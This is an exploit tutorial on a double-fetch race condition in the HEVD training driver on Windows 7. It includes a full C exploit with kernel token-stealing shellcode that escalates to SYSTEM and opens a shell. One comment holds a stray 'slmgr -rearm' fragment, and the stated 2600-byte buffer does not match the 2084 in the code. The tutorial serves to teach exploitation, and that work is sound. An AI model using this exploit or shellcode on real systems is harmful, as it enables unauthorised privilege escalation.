0x07 - Introduction to Windows Kernel Race Conditions
In the last tutorial we successfully exploited a Type Confusion vulnerability against Windows 11 (x64). In this tutorial we’ll introduce a new vulnerability type - a Race Condition, more specifically a double fetch!
As with the previous tutorials, the introduction to this vulnerability type will be done within Windows 7 (x86).
Table of Contents
What is a Race Condition (High Level)
Race Conditions are one of the most complex and powerful vulnerability types an attacker can exploit on any system or application. It feels like just yesterday when Dirty Cow was released to the public - a local privilege escalation vulnerability that affected ALL Linux based operating systems that used older versions of the Linux Kernel.
In all honesty before taking the RET2 Wargames course these vulnerability types, even at a high level seemed completely unapproachable. That said I will try my best to give a good overview of what causes these types of vulnerabilities. However, should you walk away from this tutorial completely confused or wanting more exposure to race conditions I heavily recommend RET2 Wargames.
With that said, let’s jump into a high-level overview.
For our non-technical example, we’ll be looking at a game you may be familiar with called Overcooked. In this game you and your friends are responsible for cooking meals and since there’s time limits you often have to work together to get orders completed quickly. You can imagine how intense this can get…
You and your friends are often tossing ingredients into the same container, this could be a pot, plate, or even a smoothie cup.
Shown in the image below, multiple players are making soups:
Within this image we see that two soups are being made an onion soup and a tomato soup. We also see four players:
- A clown
- A axolotl
- A parrot
- A lady
Let’s say the axolotl player is a bit of a troll and likes to cause chaos. We see the axolotl holding an onion and we see the parrot cutting a tomato. Additionally we see the clown holding a tomato.
To meet the order the second soup currently needs one tomato.
Both the axolotl and the parrot wish to toss their ingredients into the pot however each ingredient will have a very different outcome.
- If the tomato makes it into the pot - the team will successfully place the order
- If the onion makes it into the pot - the team will have to toss the soup and start over potentially missing the order
The axolotl knows that the team each has a respective role, however the axolotl is searching for a vulnerability in the way the food is being prepared in order to exploit it (race condition). Being that the next two soups are onion the axolotl tells the parrot to cut his onion.
Since all players are trying to make the orders at the same time a window of opportunity presents itself to the axolotl. If the parrot is reading the orders and reading what the pot needs he may be too slow to notice what the axolotl is planning to do (or rather toss into the pot).
The axolotl decides to exploit this and successfully tampers the soup…
What does this have to do with race conditions?
- You can think of each player as a thread. These threads are all working in parallel, affecting a shared resource (the pot).
- The race condition in this example occurs when two “threads” (players) try to modify the shared resource at the same time; what ingredient gets tossed into the pot determines the outcome. If the onion goes in, it’s a successful exploitation by the axolotl.
In technical terms, a race condition happens when two or more concurrent processes or threads attempt to modify or access shared resources simultaneously, leading to unpredictable or unintended consequences.
- What if multiple threads are responsible for frees?
- What if multiple threads are responsible for allocations?
- What if multiple threads decide what path an application takes?
As you can imagine the limits to race conditions are endless.
Hopefully that made sense! Let’s get started!
Using the Source
First we need to identify the target files for this vulnerability.
$ ls -l | grep Double
-rw-r--r-- 1 wetw0rk wetw0rk 5801 Nov 18 12:32 DoubleFetch.c
-rw-r--r-- 1 wetw0rk wetw0rk 2408 Nov 18 12:32 DoubleFetch.h
The source tells us that we’re gonna be dealing with the following structures and calls:
// DoubleFetch.h
62 typedef struct _DOUBLE_FETCH
63 {
64 PVOID Buffer;
65 SIZE_T Size;
66 } DOUBLE_FETCH, *PDOUBLE_FETCH;
// DoubleFetch.c
DoubleFetchIoctlHandler()
TriggerDoubleFetch()
DoubleFetchIoctlHandler
Within this handler, we can see that our input is casted into a structure pointer for the custom type _DOUBLE_FETCH
. From there our casted input is sent to the TriggerDoubleFetch() function.
156 NTSTATUS
157 DoubleFetchIoctlHandler(
158 _In_ PIRP Irp,
159 _In_ PIO_STACK_LOCATION IrpSp
160 )
161 {
162 PDOUBLE_FETCH UserDoubleFetch = NULL;
163 NTSTATUS Status = STATUS_UNSUCCESSFUL;
164
165 UNREFERENCED_PARAMETER(Irp);
166 PAGED_CODE();
167
168 UserDoubleFetch = (PDOUBLE_FETCH)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
169
170 if (UserDoubleFetch)
171 {
172 Status = TriggerDoubleFetch(UserDoubleFetch);
173 }
174
175 return Status;
176 }
TriggerDoubleFetch
TriggerDoubleFetch is where we start to see a more “complex” operation.
63 __declspec(safebuffers)
64 NTSTATUS
65 TriggerDoubleFetch(
66 _In_ PDOUBLE_FETCH UserDoubleFetch
67 )
68 {
69 NTSTATUS Status = STATUS_SUCCESS;
70 ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
71
72 #ifdef SECURE
73 PVOID UserBuffer = NULL;
74 SIZE_T UserBufferSize = 0;
75 #endif
76
77 PAGED_CODE();
78
79 __try
80 {
81 //
82 // Verify if the buffer resides in user mode
83 //
84
85 ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR));
86
87 DbgPrint("[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch);
88 DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
89 DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
90
91 #ifdef SECURE
92 UserBuffer = UserDoubleFetch->Buffer;
93 UserBufferSize = UserDoubleFetch->Size;
94
95 DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserBuffer);
96 DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserBufferSize);
97
98 if (UserBufferSize > sizeof(KernelBuffer))
99 {
100 DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserBufferSize);
101
102 Status = STATUS_INVALID_PARAMETER;
103 return Status;
104 }
105
106 //
107 // Secure Note: This is secure because the developer is fetching
108 // 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user
109 // mode just once and storing it in a temporary variable. Later, this
110 // stored values are passed to RtlCopyMemory()/memcpy(). Hence, there
111 // will be no race condition
112 //
113
114 RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);
115 #else
116 DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserDoubleFetch->Buffer);
117 DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserDoubleFetch->Size);
118
119 if (UserDoubleFetch->Size > sizeof(KernelBuffer))
120 {
121 DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserDoubleFetch->Size);
122
123 Status = STATUS_INVALID_PARAMETER;
124 return Status;
125 }
126
127 DbgPrint("[+] Triggering Double Fetch\n");
128
129 //
130 // Vulnerability Note: This is a vanilla Double Fetch vulnerability because the
131 // developer is fetching 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size'
132 // from user mode twice and the double fetched values are passed to RtlCopyMemory()/memcpy().
133 // This creates a race condition and the size check could be bypassed which will later
134 // cause stack based buffer overflow
135 //
136
137 RtlCopyMemory((PVOID)KernelBuffer, UserDoubleFetch->Buffer, UserDoubleFetch->Size);
138 #endif
139 }
140 __except (EXCEPTION_EXECUTE_HANDLER)
141 {
142 Status = GetExceptionCode();
143 DbgPrint("[-] Exception Code: 0x%X\n", Status);
144 }
145
146 return Status;
147 }
Let’s break this down.
Starting on lines 63-90 we see that a buffer with a total size of 512 bytes is being used for KernelBuffer (this size can be obtained from BUFFER_SIZE definition in Common.h).
63 __declspec(safebuffers)
64 NTSTATUS
65 TriggerDoubleFetch(
66 _In_ PDOUBLE_FETCH UserDoubleFetch
67 )
68 {
69 NTSTATUS Status = STATUS_SUCCESS;
70 ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
71
72 #ifdef SECURE
73 PVOID UserBuffer = NULL;
74 SIZE_T UserBufferSize = 0;
75 #endif
76
77 PAGED_CODE();
78
79 __try
80 {
81 //
82 // Verify if the buffer resides in user mode
83 //
84
85 ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR));
86
87 DbgPrint("[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch);
88 DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
89 DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
90
91 #ifdef SECURE
92 UserBuffer = UserDoubleFetch->Buffer;
93 UserBufferSize = UserDoubleFetch->Size;
94
95 DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserBuffer);
96 DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserBufferSize);
97
98 if (UserBufferSize > sizeof(KernelBuffer))
99 {
100 DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserBufferSize);
101
102 Status = STATUS_INVALID_PARAMETER;
103 return Status;
104 }
105
106 //
107 // Secure Note: This is secure because the developer is fetching
108 // 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user
109 // mode just once and storing it in a temporary variable. Later, this
110 // stored values are passed to RtlCopyMemory()/memcpy(). Hence, there
111 // will be no race condition
112 //
113
114 RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);
Lines 115-147 we start to see the vulnerability. We can see that if the size of the Size
member of the _DOUBLE_FETCH
structure is greater than the sizeof(KernelBuffer)
the driver will return.
Otherwise we reach the RtlCopyMemory() function call.
115 #else
116 DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserDoubleFetch->Buffer);
117 DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserDoubleFetch->Size);
118
119 if (UserDoubleFetch->Size > sizeof(KernelBuffer))
120 {
121 DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserDoubleFetch->Size);
122
123 Status = STATUS_INVALID_PARAMETER;
124 return Status;
125 }
126
127 DbgPrint("[+] Triggering Double Fetch\n");
128
129 //
130 // Vulnerability Note: This is a vanilla Double Fetch vulnerability because the
131 // developer is fetching 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size'
132 // from user mode twice and the double fetched values are passed to RtlCopyMemory()/memcpy().
133 // This creates a race condition and the size check could be bypassed which will later
134 // cause stack based buffer overflow
135 //
136
137 RtlCopyMemory((PVOID)KernelBuffer, UserDoubleFetch->Buffer, UserDoubleFetch->Size);
138 #endif
139 }
140 __except (EXCEPTION_EXECUTE_HANDLER)
141 {
142 Status = GetExceptionCode();
143 DbgPrint("[-] Exception Code: 0x%X\n", Status);
144 }
145
146 return Status;
147 }
Theory
Looking at the structure we can just pass a pointer to a large buffer and set the size to something small? Of course we have to do this at just the right moment…
Pehaps we can send something like this:
+-----------+---------------------------------+
| Thread #1 | Spam DOUBLE_FETCH.Size (0x10) |
+-----------+---------------------------------+
| Thread #2 | Spam DOUBLE_FETCH.Size (0x1000) |
+-----------+---------------------------------+
Crafting a PoC
With a solid attack plan in place we can start crafting a PoC as shown below.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#include <processthreadsapi.h>
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_DOUBLE_FETCH IOCTL(0x80D)
/* Structure used by Double Fetch */
typedef struct _DOUBLE_FETCH
{
PVOID Buffer;
SIZE_T Size;
} DOUBLE_FETCH, *PDOUBLE_FETCH;
/* Structure for threads */
typedef struct _IRP_ARGS
{
HANDLE hHEVD;
PDOUBLE_FETCH pDoubleFetch;
} IRP_ARGS, *PIRP_ARGS;
/* Max threads */
#define NUM_THREADS 5
/* Exploit Buffer */
#define BUFFER 0x1000
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* TriggerRaceCondition():
Since driver reads from userland twice we can overwrite the existing condition that bypasses the checkslmgr -rearm
at runtime. If we win the race we successfully trigger a buffer overflow! */
DWORD WINAPI TriggerRaceCondition(LPVOID lpParameters)
{
PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;
while (1) {
pIrpArgs->pDoubleFetch->Size = BUFFER;
}
return 0;
}
/* TriggerWorkingCondition():
As we saw in TriggerDoubleFetch() in order to reach the RtlCopyMemory() aka wrapper for memcpy() we need
our buffer to be under the sizeof(KernelBuffer). This function sends an IOCTL to ensure we meed that
condition. */
DWORD WINAPI TriggerWorkingCondition(LPVOID lpParameters)
{
DWORD dwBytesReturned = 0;
PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;
printf("\t[*] Spraying DoubleFetchObject(s): %p, Size: 0x%x\n", pIrpArgs->pDoubleFetch,
pIrpArgs->pDoubleFetch->Size);
while (1)
{
pIrpArgs->pDoubleFetch->Size = 0x10;
DeviceIoControl(pIrpArgs->hHEVD,
HEVD_IOCTL_DOUBLE_FETCH,
pIrpArgs->pDoubleFetch,
sizeof(DOUBLE_FETCH),
NULL,
0x00,
&dwBytesReturned,
NULL);
}
return 0;
}
/* GenerateExploitBuffer():
Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */
void GenerateExploitBuffer(LPVOID lpvBuffer)
{
uint32_t *payload = (uint32_t *)(lpvBuffer);
for (int i = 0; i < (BUFFER / sizeof(uint32_t)); i++)
{
*payload++ = 0x41414141;
}
}
/* Exploit():
Double Fetch */
int Exploit(HANDLE hHEVD)
{
LPVOID lpvMemoryAllocation = NULL;
HANDLE hThreadWork[NUM_THREADS] = { 0 };
HANDLE hThreadRace[NUM_THREADS] = { 0 };
PIRP_ARGS pIrpArgs = (PIRP_ARGS)malloc(sizeof(IRP_ARGS));
PDOUBLE_FETCH pDoubleFetchObject = (PDOUBLE_FETCH)malloc(sizeof(DOUBLE_FETCH));
lpvMemoryAllocation = VirtualAlloc(NULL,
BUFFER,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE);
/* Fill up the buffer */
GenerateExploitBuffer(lpvMemoryAllocation);
/* Setup the Double Fetch object */
pDoubleFetchObject->Buffer = lpvMemoryAllocation;
pDoubleFetchObject->Size = 0;
/* Setup the base IRP argument(s) */
pIrpArgs->hHEVD = hHEVD;
pIrpArgs->pDoubleFetch = pDoubleFetchObject;
/* Start the race!! */
printf("[*] Off to the races\n");
for (int i = 0; i < NUM_THREADS; i++)
{
hThreadWork[i] = CreateThread(NULL, 0, TriggerWorkingCondition, pIrpArgs, 0, NULL);
hThreadRace[i] = CreateThread(NULL, 0, TriggerRaceCondition, pIrpArgs, 0, NULL);
}
WaitForMultipleObjects(NUM_THREADS, hThreadWork, TRUE, 10000);
for (int i = 0; i < NUM_THREADS; i++)
{
TerminateThread(hThreadWork[i], 0);
CloseHandle(hThreadWork[i]);
TerminateThread(hThreadRace[i], 0);
CloseHandle(hThreadRace[i]);
}
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == NULL)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
if (Exploit(hHEVD) == 0) {
printf("[*] Exploitation successful, enjoy de shell!!\n\n");
system("cmd.exe");
} else {
printf("[-] Exploitation failed, run again\n");
}
if (hHEVD != INVALID_HANDLE_VALUE) {
CloseHandle(hHEVD);
}
}
Once the buffer is sent the following crash occurs:
If we !analyze -v
the crash, we see the following:
From my experience with HEVD this normally means our buffer is so large we corrupted data that allows us a clean return address overwrite. So the solution here is to send a smaller buffer. In honor of 2600 I decided to send 2600 bytes!
Once sent, we have control over the instruction pointer!
Exploitation
After playing with offsets I developed the following code:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#include <processthreadsapi.h>
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_DOUBLE_FETCH IOCTL(0x80D)
/* Structure used by Double Fetch */
typedef struct _DOUBLE_FETCH
{
PVOID Buffer;
SIZE_T Size;
} DOUBLE_FETCH, *PDOUBLE_FETCH;
/* Structure for threads */
typedef struct _IRP_ARGS
{
HANDLE hHEVD;
PDOUBLE_FETCH pDoubleFetch;
} IRP_ARGS, *PIRP_ARGS;
/* Max threads */
#define NUM_THREADS 5
/* Exploit Buffer */
#define BUFFER 2084
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* TriggerRaceCondition():
Since driver reads from userland twice we can overwrite the existing condition that bypasses the check
at runtime. If we win the race we successfully trigger a buffer overflow! */
DWORD WINAPI TriggerRaceCondition(LPVOID lpParameters)
{
PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;
while (1) {
pIrpArgs->pDoubleFetch->Size = BUFFER;
}
return 0;
}
/* TriggerWorkingCondition():
As we saw in TriggerDoubleFetch() in order to reach the RtlCopyMemory() aka wrapper for memcpy() we need
our buffer to be under the sizeof(KernelBuffer). This function sends an IOCTL to ensure we meed that
condition. */
DWORD WINAPI TriggerWorkingCondition(LPVOID lpParameters)
{
DWORD dwBytesReturned = 0;
PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;
printf("\t[*] Spraying DoubleFetchObject(s): %p, Size: 0x%x\n", pIrpArgs->pDoubleFetch,
pIrpArgs->pDoubleFetch->Size);
while (1)
{
pIrpArgs->pDoubleFetch->Size = 0x10;
DeviceIoControl(pIrpArgs->hHEVD,
HEVD_IOCTL_DOUBLE_FETCH,
pIrpArgs->pDoubleFetch,
sizeof(DOUBLE_FETCH),
NULL,
0x00,
&dwBytesReturned,
NULL);
}
return 0;
}
/* GenerateExploitBuffer():
Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */
DWORD GenerateExploitBuffer(LPVOID lpvBuffer)
{
uint32_t *payload = (uint32_t *)(lpvBuffer);
LPVOID lpvShellcode = NULL;
char shellcode[]=
// sickle-tool -p windows/x86/kernel_token_stealer -f c -m pinpoint
"\x60" // pushal
"\x31\xc0" // xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax, dword ptr fs:[eax + 0x124]
"\x8b\x40\x50" // mov eax, dword ptr [eax + 0x50]
"\x89\xc1" // mov ecx, eax
"\xba\x04\x00\x00\x00" // mov edx, 4
"\x8b\x80\xb8\x00\x00\x00" // mov eax, dword ptr [eax + 0xb8]
"\x2d\xb8\x00\x00\x00" // sub eax, 0xb8
"\x39\x90\xb4\x00\x00\x00" // cmp dword ptr [eax + 0xb4], edx
"\x75\xed" // jne 0x1014
"\x8b\x90\xf8\x00\x00\x00" // mov edx, dword ptr [eax + 0xf8]
"\x89\x91\xf8\x00\x00\x00" // mov dword ptr [ecx + 0xf8], edx
"\x61" // popal
/* RETURN CODE */
"\x5d" // POP EBP
"\xc2\x08\x00"; // RET 0x08
lpvShellcode = VirtualAlloc(NULL, 57, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (lpvShellcode == NULL) {
printf("[-] Failed to generate shellcode allocation\n");
return -1;
}
printf("[*] Copying shellcode to allocated memory region\n");
memcpy(lpvShellcode, shellcode, 57);
for (int i = 0; i < (BUFFER / sizeof(uint32_t)); i++)
{
*payload++ = (uint32_t)lpvShellcode;
}
return 0;
}
/* Exploit():
Double Fetch */
DWORD Exploit(HANDLE hHEVD)
{
LPVOID lpvMemoryAllocation = NULL;
HANDLE hThreadWork[NUM_THREADS] = { 0 };
HANDLE hThreadRace[NUM_THREADS] = { 0 };
PIRP_ARGS pIrpArgs = (PIRP_ARGS)malloc(sizeof(IRP_ARGS));
PDOUBLE_FETCH pDoubleFetchObject = (PDOUBLE_FETCH)malloc(sizeof(DOUBLE_FETCH));
lpvMemoryAllocation = VirtualAlloc(NULL,
BUFFER,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE);
/* Fill up the buffer */
printf("[*] Successfully allocated exploitation buffer\n");
if (GenerateExploitBuffer(lpvMemoryAllocation) == -1) {
return -1;
}
/* Setup the Double Fetch object */
pDoubleFetchObject->Buffer = lpvMemoryAllocation;
pDoubleFetchObject->Size = 0;
/* Setup the base IRP argument(s) */
pIrpArgs->hHEVD = hHEVD;
pIrpArgs->pDoubleFetch = pDoubleFetchObject;
/* Start the race!! */
printf("[*] Off to the races\n");
for (int i = 0; i < NUM_THREADS; i++)
{
hThreadWork[i] = CreateThread(NULL, 0, TriggerWorkingCondition, pIrpArgs, 0, NULL);
hThreadRace[i] = CreateThread(NULL, 0, TriggerRaceCondition, pIrpArgs, 0, NULL);
}
WaitForMultipleObjects(NUM_THREADS, hThreadWork, TRUE, 1000);
for (int i = 0; i < NUM_THREADS; i++)
{
TerminateThread(hThreadWork[i], 0);
CloseHandle(hThreadWork[i]);
TerminateThread(hThreadRace[i], 0);
CloseHandle(hThreadRace[i]);
}
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == NULL)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
if (Exploit(hHEVD) == 0) {
printf("[*] Exploitation successful, enjoy de shell!!\n\n");
system("cmd.exe");
} else {
printf("[-] Exploitation failed, run again\n");
}
if (hHEVD != INVALID_HANDLE_VALUE) {
CloseHandle(hHEVD);
}
}
Once sent, we can see that we’ve successfully exploited the double fetch (Race Condition)!
Sources
https://www.kn0sky.com/?p=194